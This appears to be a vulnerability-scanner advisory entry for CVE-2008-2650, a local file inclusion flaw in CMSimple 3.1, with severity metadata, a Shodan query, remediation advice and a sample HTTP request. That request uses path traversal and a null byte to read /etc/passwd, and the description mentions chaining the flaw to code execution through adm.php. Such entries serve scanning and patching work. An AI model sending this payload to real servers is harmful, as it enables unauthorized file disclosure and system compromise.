| Title | CMSimple 3.1 - Local File Inclusion |
|---|---|
| Author | pussycat0x |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system. |
| Remediation | Upgrade CMSimple to a patched version or apply the necessary security patches provided by the vendor. |
| CVSS Score | 6.8 |
| EPSS Score | 0.01643 |
| CVE ID | CVE-2008-2650 |
| CWE ID | CWE-22 |
| Shodan Query | cpe:"cpe:2.3:a:cmsimple:cmsimple" |
| Tags | cve cve2008 lfi cmsimple vuln |
CMSimple 3.1 is susceptible to local file inclusion via cmsimple/cms.php when register_globals is enabled which allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.
GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
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